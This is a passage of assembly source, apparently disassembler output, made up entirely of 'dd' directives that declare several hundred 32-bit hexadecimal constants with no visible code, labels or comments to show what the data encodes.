		dd 0F5A7253h, 3FDA25E2h, 38BFF860h, 856C0C02h, 0B121901Ah
		dd 2420E05Ch, 5CACA420h, 0A8486053h, 0FF43F5ECh, 7971D00h
		dd 69ED210h, 2C381202h,	501EB070h, 0F1417B7Ch, 4F0A2EEh
		dd 47D43B2h, 0D4729A70h, 0EC30F851h, 217D8C16h,	0E6B9AA0Ch
		dd 2FF718A7h, 28026698h, 99429F84h, 0D48AAC78h,	465E8C74h
		dd 28910086h, 0AF12A634h, 9D4F2576h, 0B0A194A0h, 66800802h
		dd 6EE03EA8h, 1EC09448h, 5377B5CAh, 0C4D87E03h,	98703928h
		dd 0F7C88F9Ch, 23402F2Fh, 39410086h, 0FE03E1AEh, 77C8E40Bh
		dd 0B80509Eh, 0E542E80Bh, 0DE8134E2h, 0D0C12CB6h, 777EC6CDh
		dd 902ECBCh, 59185E90h,	0BC9B394Ch, 28149011h, 9280E6Ah
		dd 59ABDECEh, 1854D178h, 0FFA600EBh, 1FBFEA7Ch,	5162E48Dh
		dd 0A0076621h, 1084E3CCh, 0D3800009h, 0AA7B9990h, 0F924FF0Bh
		dd 3600984Fh, 0C2236976h, 0D9A10238h, 0E9CE94D6h, 46743C5Ch
		dd 0D3810187h, 575A9BEAh, 481B4820h, 1E82808Dh,	6E2212C0h
		dd 0E390401Ch, 0A848093h, 6CD27A26h, 49FEC700h,	297CC13Bh
		dd 59446943h, 90261886h, 0AFD300A6h, 151FA578h,	6609ED4Fh
		dd 41CC46B8h, 520810D4h, 7EECFD50h, 0FA73061Ah,	0D1BCF948h
		dd 1CC61813h, 42DD7565h, 7C01B5E0h, 3C09F864h, 21A987C2h
		dd 4B803AD0h, 10104113h, 0DD1E53E4h, 0E2CF021Fh, 0D0ADB37Dh
		dd 0CD20D298h, 0A05EC80Eh, 80AB43A0h, 16507206h, 0A0BD6710h
		dd 0F5B2DD0Ch, 0E5130F3Ch, 0BFE22FD6h, 80D02454h, 0FCB3883Dh
		dd 454082BDh, 40204A7Eh, 2692EA6Eh, 7620E505h, 90771946h
		dd 0CD284A30h, 92A841FCh, 0BA4C003Eh, 0F39B179Dh, 23443A09h
		dd 4B900059h, 8B3E0B84h, 0B876A80Bh, 0E3E8210Eh, 987DA211h
		dd 3FCA6C0Bh, 76BD6421h, 0D929F208h, 18547900h,	1637718Eh
		dd 0B4CA0403h, 0B8981624h, 0DC015541h, 6E7BFCBAh, 80E93A5Ch
		dd 530689B4h, 17C2B16Dh, 0B46F7CC4h, 9827FDD8h,	0D2B0C3BEh
		dd 6218C810h, 7BD7422h,	644E08BFh, 0B47247A0h, 8064ACA3h
		dd 17550446h, 30EC01CCh, 0D529897Eh, 34CC205Eh,	0D0D8FF4Ah
		dd 61240058h, 0E416AB2Ah, 0EC0455B0h, 0CC470A60h, 1E16C8ACh
		dd 0BF0020CBh, 9F12567Eh, 782539ADh, 8310000h, 955E5ACh
		dd 9F4F4551h, 0B077F090h, 3B220h, 75F338BEh, 3CD129E4h
		dd 83B3BA25h, 0DF37FA6Ch, 498C2F82h, 0B834CE9Ch, 0D40B416Ah
		dd 9444290h, 61896038h,	9BE8BD5Ch, 7ED40217h, 40567C88h
		dd 0E012AF6Ch, 0D0B408FAh, 7A84A2F4h, 201AFA00h, 0B0904DE4h
		dd 16E0B480h, 38953092h, 12DFEDCh, 0F4A0329Dh, 7F37D6h
		dd 629FDAE4h, 3C0AB981h, 0B2034C5Eh, 0B8A2EEE1h, 25FE33C0h
		dd 5820C31Eh, 9BA13CBFh, 18129D28h, 8FC96F14h, 847F3A5Ch
		dd 64A3903Bh, 5C84D8ADh, 943B1782h, 0C7FC0F10h,	0B84A6CBEh
		dd 5AB0308h, 0F0C80216h, 730B41Ch, 36C93006h, 7A4C1670h
		dd 88308BBAh, 3889C10Fh, 0C3F441D4h, 69150199h,	84B8D438h
		dd 8B06008Ch, 45A24E38h, 5727C6CEh, 242861BAh, 0F07E2Fh
		dd 0DC499C07h, 268B0CEDh, 1D2495FAh, 0C1F02093h, 0E6CFF0A1h
		dd 0AB12B90Ah, 5A5D68B0h, 736409C3h, 58FE1442h,	0CEA46D27h
		dd 3EC29AA0h, 7D9018EBh, 0C760FB15h, 911F07FCh,	642B1DBh
		dd 0E0788871h, 8DC708h,	0D2E25EB0h, 10C2F50Fh, 4BF41B18h
		dd 57CAE188h, 8BE4137Ah, 0FFF4C470h, 0DD4FA130h, 0C4AD3E00h
		dd 578BAB9Ch, 36B02E76h, 9A0F8380h, 12D9E231h, 708BC3Fh
		dd 1D665C3Eh, 0A7C9104Ch, 608744FCh, 47169BFh, 1EB040F7h
		dd 4244D8C4h, 0D7B40D1Fh, 0C6E20022h, 27773378h, 4500B5CAh
		dd 0A8FD29B3h, 7EB9CBh,	0F86D815Eh, 76061C04h, 0DCB0D0A4h
		dd 0B0704802h, 0D297FFDEh, 21EB60E4h, 60ADBCC7h, 7110B569h
		dd 1859D958h, 1CD1008Bh, 1986F54Dh, 0DA06B2F8h,	0CA238F53h
		dd 68DE48F6h, 0EAE9C858h, 2CFC1630h, 0DCB0E84Ch, 78B76600h
		dd 0B9E8296Ah, 7EC99D6h, 0B28D577Ah, 0D05609E0h, 9D4C6D60h
		dd 776940C0h, 8F26E82Fh
		dd 0CC085274h, 5FF131Ch, 0ACF33578h, 8C0BEC98h,	0FCDEE481h
		dd 9E25EB2Fh, 0E67C2045h, 1AABAEh, 0D461CC16h, 0FF5CB115h
		dd 8D19E200h, 250175A0h, 9A1B0953h, 0B0ABD41Ah,	0E735E84Eh
		dd 30A89115h, 8C56BCh, 0C20B9D53h, 3A858B76h, 68325431h
		dd 29805044h, 0A13EB157h, 3901A889h, 12511CBBh,	22DCC9ABh
		dd 630516D8h, 0E024A65Fh, 7B15382h, 2E3C6338h, 0BAE230DDh
		dd 0E0C18AABh, 0E8540BBFh, 0BFE07C76h, 2D09EC47h, 651C9EEDh
		dd 6098E4F8h, 0FA16AB0h, 8D26D035h, 78728309h, 6A4F5C43h
		dd 25C30174h, 9E500CAAh, 179A2CC8h, 8E23A472h, 0C016C85Ch
		dd 0BD6C0A67h, 42E8A012h, 7B0E8A0h, 18D60FC6h, 311D36C1h
		dd 0CC8D5807h, 0A8D0884Eh, 17D6950h, 29C1046Ch,	239DC6DFh
		dd 3059A224h, 0B30547B8h, 0BDACDBE3h, 0DE88C0C0h, 2703B078h
		dd 1C60669Fh, 299FB809h, 0E3862C8h, 0AB68F8h, 1AE75AB9h
		dd 69027E57h, 0AC7A7323h, 7014FB3Eh, 77F8F2C6h,	59994F25h
		dd 4969DE4h, 0AA54C002h, 14233C3Bh, 0CE43650Eh,	3C048884h
		dd 249019A0h, 5125C09Eh, 185BD148h, 5FCE0053h, 7CDD8CEDh
		dd 0C80CB3B6h, 6017EE77h, 414627D7h, 1D40AC6Fh,	9477DA3Ah
		dd 0A46E2558h, 918C15B5h, 0F4098717h, 0F2FF5E02h, 0DCBCBC08h
		dd 6C972600h, 791C0914h, 0C04001ABh, 0B8082B7Bh, 0A2A85476h
		dd 3053F280h, 9A161FE8h, 3CB0A422h, 85E512CCh, 1CE0E3C6h
		dd 25193A98h, 3A6AE420h, 0A2388h, 0F06ADDD8h, 0EA240D3Ah
		dd 1E080CABh, 3290826Dh, 0E45C9413h, 9C0248CAh,	0D669B59Bh
		dd 58465E78h, 1F9017Ch,	25EDE0F2h, 6FA82174h, 88F4040h
		dd 5CC10E53h, 17000041h, 62E1E5Eh, 0C0A86B0Dh, 0CB1618DBh
		dd 40DB9747h, 29909180h, 21008B1Dh, 74EC71E6h, 12D49D8Eh
		dd 5722165Fh, 23283A30h, 457C0E10h, 0C707F001h,	0F4F2F068h
		dd 3E1C6720h, 0EAD167Fh, 5E828CC0h, 0ED8CC112h,	0D91B54A3h
		dd 7FA259E2h, 6495D4C4h, 0A3D00EE4h, 0D980C29Fh, 170665DCh
		dd 3A78B658h, 4D0DCD2h,	0A147846h, 0E5EC8Ch, 31BBEC93h
		dd 0E730881h, 7202BF74h, 1E45C9CEh, 5745AFFh, 0D56E5CB6h
		dd 0B1D0E0A7h, 20D0085Ch, 39BD24EDh, 94221E39h,	14E8905Eh
		dd 189E28Ch, 0F165E84Dh, 2B3E8FC6h, 0D4350083h,	884288F9h
		dd 0F677C604h, 0E3F8AC14h, 9B594F3Ah, 6BD88164h, 9840BEF8h
		dd 60D61437h, 1FDD2107h, 105E02E2h, 0E1759C00h,	703D4FB1h
		dd 29FC1F4Bh, 453F8E4Eh, 1CB3499Fh, 42487087h, 0FC7EC940h
		dd 34C0D49Ch, 4E69AFC1h, 8B504B11h, 63BD21E8h, 29340F12h
		dd 18032127h, 4A53F917h, 0ACF8C448h, 4C05D3E8h,	4CECBABFh
		dd 3B8C0CB8h, 4202F350h, 0A00A9811h, 0ED77B0F0h, 54CC484Fh
		dd 73061540h, 0C71ED091h, 0CA4BBFB8h, 81C834A0h, 9CCFCCDBh
		dd 5729E600h, 55096EC0h, 51EC34AEh, 0D1FCA914h,	50C1852h
		dd 9072FB68h, 8F20F44Eh, 0B8C08D40h, 0EF6C0900h, 7071D2DBh
		dd 36B0A18Fh, 9084D0E0h, 7E6D0796h, 24CD4C11h, 0E1B8F598h
		dd 59E0E8DBh, 621ED527h, 793CD94Ch, 74185Bh, 596A0466h
		dd 96482088h, 5A6C2639h, 10E0EC16h, 70A49D1Ch, 64E253FAh
		dd 0CB3084F2h, 79B601FDh, 0AAE07661h, 8F598219h, 2B270D86h
		dd 87914495h, 38AEE080h, 0E4BB8AAh, 0E6987C8Ch,	20C29534h
		dd 73E95856h, 6ECE5000h, 0E2ECF00Fh, 58E09470h,	7E54029Fh
		dd 72A97598h, 0CFDA2F50h, 0F7381C40h, 1CE3A9C0h, 16EA6B0h
		dd 8DB0EFAh, 6A1E5298h,	40515401h, 0F3E5C09Ch, 0A1F05C76h
		dd 0F15B0FE4h, 82C8888Bh, 59F7A9C0h, 8C2A4BCBh,	560F4C00h
		dd 13C5E4E6h, 22F814C0h, 84109704h, 1A95C69Ah, 77086898h
		dd 98FC0448h, 797E48Eh,	0B850F985h, 7167BC6h, 0B95FC0F2h
		dd 0CC30C28Eh, 3C081C56h, 50C42D40h, 8F043F73h,	0FD0C6BB6h
		dd 9807C88Dh, 6FC6FE00h, 44025BB2h, 1FFBB6A4h, 8D4E3D41h
		dd 2830B333h, 0C8055A12h, 0C4BBFD7Ch, 5F3093F1h, 35800997h
		dd 4285A771h, 7FA4A067h, 33DF1A00h, 37BD1460h, 359F02B0h
		dd 467B279Ch, 839B0C40h, 1808CA80h, 0B1E77A90h,	8A753F41h
		dd 7498D67Fh, 0DDA28505h, 34B9BAD5h, 4E0F78ADh,	0CC2C249Dh
		dd 48C0DACh, 0E802161Ch, 6C7ABA21h, 0F120E900h,	66E68EB3h
		dd 0FEC83B1Dh, 8C691E18h, 0C5DF0DD1h, 2FB17E44h, 0F410583Eh
		dd 0B201DCFFh, 4737BE9Eh, 48F09CC0h, 0B27944A3h, 842E1728h
		dd 71BC82C2h, 0D5E4BC56h, 19C80C8Fh, 30C12FC4h,	60181CBh
		dd 82202871h, 74FF5F1Ch, 0AD03DE5Ch, 8F6A5B28h,	663E88D7h
		dd 0A9B0868h, 0A6067F84h, 0DF791FC2h, 3100239h,	0A8482280h
		dd 6EF82DDDh, 465E1CB4h, 0EF7D0157h, 0CB7E056Bh, 9C1DFEF4h
		dd 0CBAC1254h, 0C058C838h, 0E359E74Ah, 67638C00h, 16C8C71Eh
		dd 0C898950Ah, 8BF5E677h, 7A444C68h, 82C0006Ch,	0DD8C4518h
		dd 4302E425h, 0D2E25FFDh, 58E850A7h, 8E04ACCEh,	0E1D3D432h
		dd 0AC6E2EA0h, 0C22A2009h, 590F5071h, 632201Dh,	0BDEB8Fh
		dd 76379787h, 48C854ACh, 13CF1F80h, 80FEB808h, 3CBF1DE0h
		dd 0B3BA5518h, 97CF01E0h, 5391101Dh, 0ABC0D084h, 0F07B5444h
		dd 0A2408105h, 79007F44h, 0CD41A3BDh, 0FA573Bh,	2BC2F8A0h
		dd 0FB6EDEEFh, 0DD591A00h, 19A155E5h, 0F2014ECFh, 0DB586234h
		dd 5790CA9Dh, 1811241Dh, 4CBD7880h, 9CA8FE86h, 379FC3E4h
		dd 0E4DF87B8h, 0A0743782h, 4CB1E63h, 770621C5h,	0CA845C1Eh
		dd 2DAB858Fh, 0E2A43264h, 4DBF3015h, 0CE04A673h, 32DCAE0h
		dd 5A3848C2h, 6F9D2C88h, 0E2D3002Fh, 1FB3AB30h,	120DD638h
		dd 0FCFD916Eh, 2100ECB8h, 7D9F2C3Ch, 97C21EF2h,	0CB62AC20h
		dd 0F20BAEAh, 8D100990h, 0A060B8E8h, 925B9FC6h,	6B56C405h
		dd 9AB8D4F9h, 0D609701h, 0F123BAE4h, 0F639688Ch, 6A008BF1h
		dd 36AAB4E5h, 555C951h,	582BBC1Eh, 806CB89Dh, 18984F33h
		dd 45110E35h, 56E0EFCFh, 0DAB67640h, 34DF7A00h,	4FC0C6CBh
		dd 9B4C19DBh, 48D4618Bh, 0DF1FFEE4h, 7C00A10Bh,	1F3C8CB5h
		dd 1E4103C1h, 4547CB2Eh, 2839B98Eh, 817339FBh, 17D35EB5h
		dd 0AC59081h, 643A3871h, 842FBAE0h, 9E019923h, 385DC34Ch
		dd 73603AE4h, 4284B85h,	0ABEF4454h, 420ACC38h, 0B88C48CFh
		dd 0F4008C5Ah, 0DD1057E7h, 55E90CBh, 3A983656h,	8E0F9D4h
		dd 1E9357DAh, 3D002239h, 13BB3ACAh, 279A1E48h, 68E06822h
		dd 84061CCCh, 0E5C2BD72h, 47B23C40h, 5577C1C0h,	0E0DCDD25h
		dd 2508BF48h, 0B4C2E253h, 1EC0846Fh, 5F8426CDh,	0FC18C616h
		dd 0E3FFC638h, 78E58D59h, 2FB43A31h, 0B116E816h, 0B96029D0h
		dd 0BBDC30h, 0D7318476h, 0BF0E432Bh, 0C7527E01h, 7CC35C71h
		dd 766C2F2Bh, 0F21E48Ch, 1A6A0D7h, 68F2F6h, 2D7B4CE3h
		dd 9D9E6F7Ch, 50E49C8Bh, 3B8EBF00h, 2554B2B0h, 0DB083F63h
		dd 3ED9BA85h, 1BCF2E6h,	29E37CF6h, 2E08A75h, 442A40ACh
		dd 92C5449h, 27F67446h,	0E5802C64h, 0E85251h, 0AE4FA065h
		dd 0D0BFA9B2h, 6E3D1C0Fh, 29870B3Ch, 4404720Ch,	222E0623h
		dd 0C67BCA5h, 0C9E5F8C3h, 883BB3D2h, 0C70756CCh, 3A9BBEE2h
		dd 0F902606h, 5C1C67ACh, 0E39CB9A0h, 2902E5CCh,	0EBCAE4D1h
		dd 80EC5C94h, 7643CB75h, 0ACBA6A98h, 0B8D2665Fh, 80C0FC38h
		dd 1B78CFD5h, 82007E6Ah, 4CBB09F1h, 0EEF6747h, 5E75BD71h
		dd 0C728541h, 0E280845Dh, 4CD0A7DAh, 13663F92h,	0B27E5420h
		dd 25612D0h, 0E280CCACh
		dd 841A857Dh, 8F32A8A8h, 54710124h, 44C11E42h, 6F7CA004h
		dd 0FFB72069h, 680AF80Ch, 0FCCA7940h, 1A9A80A8h, 0E400C04Eh
		dd 8D139EEAh, 9C0152E9h, 0A0189D2Fh, 0A0973B78h, 0E7E449BCh
		dd 682F627h, 0B8129D7Ch, 6F7D4828h, 0FF0B5501h,	0F9E8FC6h
		dd 881B2424h, 0DC0ECDC2h, 0C0D68E41h, 641DAC31h, 74A701F0h
		dd 0A5BBE855h, 11B9813Bh, 4F3FB80Bh, 6FDC046Ah,	0EA8E29Ah
		dd 320A9C2Eh, 0A2B5ECACh, 3057B2A8h, 8B01B4BAh,	6C315439h
		dd 58856ADEh, 0D16EE097h, 540AB67Ch, 5C2FBB80h,	0AC000B23h
		dd 3915E497h, 0C22FFB3Dh, 620E9218h, 0C5E871DEh, 605BE474h
		dd 6ECE58h, 804124BBh, 907BD16Bh, 0B64C5AFAh, 3A9A82E4h
		dd 12C8DC40h, 4A04E3B3h, 58B20CB2h, 723D730h, 410D434Fh
		dd 0C84485D3h, 6900ECE8h, 4E28822h, 96D9E3h, 4CD157D2h
		dd 0D7177559h, 0C863DF2Ch, 258C4B08h, 3702C8F8h, 813A2AF1h
		dd 8FCC6043h, 1E4B49Dh,	1E90762Ch, 283C0Dh, 8B5DDC93h
		dd 9F4C3AE3h, 34704C09h, 0C28309Fh, 3113003Eh, 0A3A474E0h
		dd 85099E22h, 10D6342Bh, 0B5AF98h, 0D045ECD2h, 97FB9992h
		dd 0DF5EAB00h, 0B66E3A88h, 0D98B25D4h, 0E0944CE6h, 86FCEC5Eh
		dd 0AEC1B000h, 7EBEFD93h, 14BB01A2h, 0FA4EE0FEh, 44982B97h
		dd 18D6784Ch, 10609677h, 9797CE59h, 24EDA750h, 8F908B40h
		dd 609513F5h, 0FC940B2Ah, 9273CC82h, 0F745A8D6h, 64FDB052h
		dd 0C813A1B8h, 0ACF35F36h, 0CCCE9A06h, 9CC059B7h, 0C1EDE00Ah
		dd 0D934B997h, 3CB91855h, 4C249586h, 0A500DEA4h, 0CEC523F6h
		dd 25F1B403h, 8E4C350h,	8AE0FC40h, 44289455h, 0E0358DBDh
		dd 10E8595Fh, 0AB7C0E80h, 0B10B6454h, 80F2F079h, 188DF762h
		dd 597705E2h, 0C1C492BCh, 22234C8h, 60485ED2h, 4FC51EF1h
		dd 0CF7F04Ah, 0CC9DC0A1h, 0ADB01589h, 0A75EE000h, 25FEC783h
		dd 0E5230122h, 15CDE785h, 1F54E406h, 4FC40797h,	1C928CC4h
		dd 80D47CD7h, 6B86262Eh, 0D6047A2Bh, 394DA132h,	1E80A4h
		dd 463DEA2Ch, 0AA069068h, 0B0E95F12h, 91AE804h,	0DE911801h
		dd 0B8203D69h, 0B5E687h, 0A1F3FF6Bh, 9061367Ah,	0F25C47Eh
		dd 30D8C9B6h, 2F655C42h, 210CAFE0h, 7D02CECAh, 5BC2E233h
		dd 8878D493h, 0FC3A4DF4h, 50801F4Bh, 1EE0456h, 0C74FA3E0h
		dd 38ACBBBCh, 0EC7E2CD4h, 0C02ECE00h, 58BE77C6h, 925004h
		dd 0FC96E058h, 811207B8h, 70E0780Fh, 5F4416BEh,	0C8608B14h
		dd 6154C00Eh, 725CE284h, 33D41A08h, 0A138F9B0h,	0FFF5702Ch
		dd 4A050086h, 0D877B7F3h, 973F2F35h, 10544A01h,	0D7210414h
		dd 20ABC66Dh, 22B877F4h, 9E889BFh, 137C525Ch, 914115D7h
		dd 2EFEE3C0h, 0DA2F3C2Dh, 0AE698764h, 80E1A990h, 0A71E042Ch
		dd 0AA097FA6h, 5701787Bh, 0F6B09683h, 6FC834ECh, 54E0E669h
		dd 824674B8h, 0A8879803h, 69000566h, 0A21F47FBh, 206F10h
		dd 0D3D73E44h, 2529FC8h, 0B218F8B9h, 521EC681h,	690EBCD7h
		dd 0CF8936A2h, 35E9045Ch, 0B45B80F8h, 51AA14E5h, 0DEC63802h
		dd 0DA66DDF3h, 5ACB0090h, 0A0E0B225h, 0DC00FFE4h, 2E28E25Bh
		dd 179F4275h, 0F1853743h, 7BE43000h, 162AF341h,	0E7F8F3F8h
		dd 36C0C078h, 0B095A67h, 903B9F4Bh, 77BF2724h, 0D3680E75h
		dd 0FBC27477h, 9098F6ABh, 0A70050C2h, 92B46D0Eh, 370C55Ch
		dd 1FCC39E4h, 0FEA35EB1h, 2C61B00Fh, 0F8CB167Ch, 67C014C8h
		dd 5DD9294h, 8C46DBB4h,	73ECA8DEh, 6DFCA997h, 15C0EE90h
		dd 3179C444h, 0EE226001h, 8423139Dh, 11E40AEEh,	55EA0018h
		dd 0B3ACCAE9h, 0B2544A5Dh, 2AD40314h, 0D8F046A7h, 136E7097h
		dd 85B18240h, 108C3A84h, 60C0FFF4h, 0DB6F4217h,	0B999AC00h
		dd 3C5FC9D0h, 0E0935DCAh, 200A9806h, 0CC0BA842h, 616A8F7Ch
		dd 9C705C70h, 338E4157h, 0B79000Ch, 49A4A64Dh, 0A10F076Bh
		dd 0EE855851h, 2B6E765h, 72597BD8h, 5FA8925Dh, 0D393283Dh
		dd 32595C02h, 44A8C2B4h, 4BE89A5Ch, 0E2B4E3E7h,	0BEC1300Dh
		dd 0E4530807h, 2195D985h, 3502B4ADh, 0C1BF80A0h, 0C275785Ch
		dd 407C5CCEh, 0D6D900DCh, 767E35DAh, 0E42EB7CEh, 0C2515C07h
		dd 0CE2B9C71h, 0C00AC8FCh, 46FA8C39h, 33EF7C1Ch, 1062E429h
		dd 355600F0h, 0D04B525Dh, 0E166748Ch, 6BD451B0h, 0D900BD65h
		dd 0C10AAAEEh, 1298C558h, 0B9548BD2h, 8CA2D324h, 5FC0E8B7h
		dd 7CD6F4h, 1E048FF1h, 8579E3BFh, 9098227Ah, 0E0146DB7h
		dd 0DE0C1433h, 89A67D3Bh, 71D309EEh, 9812BAA4h,	0FBCB04Eh
		dd 620A061Bh, 0D6C9D241h, 0B16A803Ch, 76EB0795h, 623390Bh
		dd 31F0317Ch, 5CE249C9h, 8646D488h, 99AEB307h, 0CF55F09Bh
		dd 999C4Ch, 8298712Dh, 3B0657C6h, 5613E072h, 0A47A97F1h
		dd 34AA8C00h, 722F284Bh, 7769420Eh, 5404A49Bh, 0AC1CAD12h
		dd 0E09B8C0Bh, 17BC66A5h, 427802F8h, 5CC5E4C4h,	466A2C68h
		dd 0E94B6BE0h, 4B4C8C8Ch, 0DB4B29Ah, 0F8F706B0h, 1094152Bh
		dd 0AD00CDBCh, 0DD619279h, 43E5FC2h, 0C67420EEh, 7C44F867h
		dd 3C01BFF6h, 7287BE7Bh, 8E2FB654h, 0C018C8A4h,	55E5B731h
		dd 0C958F612h, 0C0939CACh, 0E43073A8h, 0AD03D216h, 1369F0E0h
		dd 0A737C96Dh, 7CDA4E40h, 0B2678E80h, 0C200C883h, 0E5CD4988h
		dd 168DEA68h, 0ADEE8C40h, 3CCD5E18h, 0F5A13C23h, 0F200CFFh
		dd 0EE4B2CFAh, 0DBD194E1h, 0BC206E01h, 4AC8C7h,	0E891AA7Eh
		dd 1D5D6E5h, 731D7022h,	65600DDh, 8CB20E46h, 2E07BC3Ch
		dd 0CB471215h, 50C2DD25h, 0D444D7h, 2F77A929h, 0C1368D90h
		dd 4445DE0Bh, 40C47E5Ch, 93FD2338h, 0CF9AB200h,	0AB61D571h
		dd 92140073h, 159F04C5h, 1E026778h, 0DAE405B0h,	25CC5CA3h
		dd 483C851h, 16A133B2h,	0C3B40219h, 6CA1CD88h, 0D8684Eh
		dd 9DE15F09h, 0B74BD83Ah, 20779C12h, 0CA27C38h,	0DC38008Fh
		dd 0DD7BFD0Eh, 81FBF0Fh, 76041F73h, 0B0E8F6E8h,	90755CA2h
		dd 7353B0E8h, 0B850B5Ah, 907244D7h, 0DCB61403h,	0A8045208h
		dd 8B76CCh, 6E3F5A93h, 0B56A4CF2h, 0DB7B7F28h, 0D2A44695h
		dd 0F8A8BC69h, 0DF048C87h, 619EE7AAh, 0AFEE3280h, 0C8F112D4h
		dd 4FB8E331h, 5B239C2Fh, 0A7520F18h, 0E481072Eh, 22CB57BCh
		dd 0B88206F6h, 8C64E28Dh, 6B02C480h, 5CE81C97h,	12FC88CFh
		dd 2CF008Ch, 0E9DC04F9h, 815FF94h, 4A0A290h, 1B469FC8h
		dd 23343BEAh, 3C9D009Bh, 333DAB8h, 0D9F96109h, 0A08470D0h
		dd 1710840Ch, 49CE2FCh,	85068F0h, 0E0F36B6Dh, 90F0C651h
		dd 639603D3h, 7A6E380Eh, 0B0082009h, 9F00F492h,	72E84C53h
		dd 0C22FE0E6h, 0A0800E1Fh, 0B598AE8Ch, 0E5DC054Fh, 0C1B99551h
		dd 2B09F3FCh, 55233C2Fh, 65CCAF00h, 9526A27Fh, 13C32860h
		dd 84302989h, 92914B4Ch, 91D5E724h, 0ABF01E30h,	98A000F8h
		dd 9FCAAE90h, 2B27C850h, 7954791Fh, 911887h, 7AC77119h
		dd 9076CDFDh, 1E13E501h, 25581AFAh, 1F1C4B7Fh, 9DC3474h
		dd 0B993A304h, 0C0CE8440h, 48B60F4Ah, 0B5D07EE3h, 4D004C34h
		dd 51C893A1h, 0BF90B1DCh, 780114BDh, 5BBAD62Fh,	714C40A1h
		dd 5CD1818h, 666FC639h,	2E54C808h, 0E8222FE7h, 0CBBD53Ch
		dd 0E061818h, 0B5C35C31h, 0B944EC4Eh, 4C300190h, 0C36E7854h
		dd 0B8D42D41h, 50C40091h, 74A4A135h, 59184B53h,	7C964D7h
		dd 4401003Fh, 9BBBB1D9h, 814A1817h, 5C15ACE0h, 18E8380Fh
		dd 6E7E1E8Ch, 0EC512D75h, 0F0697404h, 39302CE8h, 0EC5B11A1h
		dd 52A76A04h, 2FEA4501h
		dd 3E0B23F4h, 9882D400h, 4E9FE8Dh, 25FBC23Bh, 60E605h
		dd 0D1EB33CCh, 6BD75685h, 82A6AD04h, 0F8802B05h, 0B4027260h
		dd 0B16418F0h, 980F9Dh,	14C8EA4Ah, 5D5CA091h, 0D06C959Dh
		dd 9BBAE208h, 60D17AA3h, 23185859h, 20EB4E00h, 0C13F77A4h
		dd 37DA1262h, 0D6D4ADF0h, 74B8DCE9h, 780C9200h,	79182CB7h
		dd 4CE50505h, 0C3EDD86Eh, 0E4B06997h, 16584051h, 442089Ch
		dd 86467627h, 400EAC1Fh, 2890A675h, 0EA257440h,	4E047116h
		dd 0CF0BFEA8h, 0C0EC548Ch, 10AFD2DDh, 5A9F88B9h, 7DB6FBC0h
		dd 0EA374EAEh, 0D5E90153h, 729A1FFDh, 908AE280h, 0A0F92DA8h
		dd 30241A0Eh, 0A363CC00h, 0F652B076h, 0D43B80CEh, 102016F8h
		dd 1ED4B427h, 8404770Bh, 1CAC12F1h, 1AC6CC48h, 0BB0582BEh
		dd 0B905F468h, 6E563800h, 14D81C22h, 0C67AC08h,	7D4A4101h
		dd 201D0BF2h, 0F740D71Ch, 848C78B6h, 3A286095h,	9EAF35BAh
		dd 0DC02EA20h, 0A06E77C9h, 4CA5A9C8h, 0E2DD0156h, 0D81AED8Eh
		dd 0CE0AE57h, 16643h, 9E67EC79h, 0A9F3C002h, 0E03ED100h
		dd 0F69C3B1Bh, 20F0B0EDh, 0D452191Ah, 66C700B4h, 400BADCAh
		dd 0CD911C44h, 0E8AE45A8h, 253CA8B2h, 0FE50C018h, 0CA4F0035h
		dd 0AD71102Ch, 0B34067Fh, 98304960h, 7A6F241h, 8829D47Ch
		dd 3A6C3276h, 0B902D456h, 0D6924F5Dh, 0D1D78C20h, 0B4031E41h
		dd 0B2E0084Bh, 107800FFh, 0E5CEFD9Ah, 2BF51355h, 88D24488h
		dd 6A547C06h, 70213520h, 0B27D1688h, 8BCE0354h,	0D803EF8Dh
		dd 1D08FB55h, 3BBF1B4Fh, 8C8FC994h, 1878984Bh, 59B48h
		dd 0E50A528Ah, 0ECD4F1F7h, 8CE219F0h, 0BBFC59D6h, 61DF2DB0h
		dd 1F7F0814h, 40A69E5Ch, 7CCF0FB1h, 695F528Fh, 76A1491h
		dd 6E050438h, 0FE3DB4F8h, 0D4FD4C53h, 4673E9ACh, 90D53728h
		dd 206EFB4Eh, 3E859B07h, 792540EAh, 0EB5892AAh,	60361064h
		dd 38EDF827h, 18EF60C0h, 9097B1h, 0D503EA04h, 98098867h
		dd 0B04990B6h, 71D607A6h, 0BBF93992h, 5F400450h, 542612D2h
		dd 0A64CC76Ah, 209C49B5h, 5B2D9A1Fh, 96C133Ch, 785C87A4h
		dd 1208C0D8h, 53FECEB0h, 104C3A70h, 5CC0FFF4h, 0E7D171Eh
		dd 0F296E203h, 887E624Bh, 3379ECBAh, 618C2EC6h,	0E58BA011h
		dd 0C8408B4Fh, 0DE9DC013h, 0EA0915F1h, 0D685B4B7h, 88EC43DCh
		dd 525A1BE8h, 71DC9A25h, 3D068F98h, 6C56796Bh, 904DB756h
		dd 799DD4C2h, 90918F68h, 3F6CE192h, 5303A46Eh, 0E1688A33h
		dd 30D8FF99h, 8140A3A0h, 8C3A1392h, 69488822h, 5A90F788h
		dd 74B7F2h, 89033CBFh, 69FF0A87h, 0C454380Ch, 0A9AFC04Fh
		dd 0E6C725h, 63A6D7DFh,	0B6E7799Ah, 9D27802h, 0C8141B12h
		dd 2F7CCE28h, 104D6933h, 9B5B0C60h, 0D6BB2D22h,	3F7A0852h
		dd 0A00447Ah, 8C6688D9h, 221AF34h, 0BF74392Ah, 405CC00Ch
		dd 0F252F5E4h, 300FF240h, 8C265E47h, 8B40D445h,	0DB7594h
		dd 0D05BAF16h, 0BE218BCh, 0E6B5F012h, 0E8D738B8h, 1D741674h
		dd 0C4E978BDh, 0FB002F83h, 6A2E9925h, 5B01651Bh, 0E3289375h
		dd 0B9D59DE2h, 0BC1574A4h, 8C99BCA0h, 6E0059E2h, 0FCACF978h
		dd 1E79A01h, 6940B8C7h,	0CA8446CDh, 5202EC50h, 1AE396E1h
		dd 25D07630h, 0B2F82058h, 0CBC9E225h, 16AEA428h, 7A943A00h
		dd 93E988Ch, 5D848CECh,	97A73C71h, 0FC21BB50h, 0E62FC880h
		dd 94B151D8h, 72C340F8h, 2701B952h, 5CA1AA66h, 0CCCD41CBh
		dd 411AE830h, 1057F21Fh, 425FE18h, 57B744Ah, 8266C40Ch
		dd 4D201C04h, 0B09BF2h,	49445892h, 0B832CF0Ch, 0B2748600h
		dd 2AC90746h, 0F89D495Ch, 9F002BBCh, 9E2A6CCAh,	92C31FD2h
		dd 0DE881EDCh, 0F75940B8h, 0E5CD5F53h, 70D45100h, 2EF46AE4h
		dd 806271Eh, 4C4508A3h,	1F7D593Dh, 0ACC384DAh, 0B81F6B9Dh
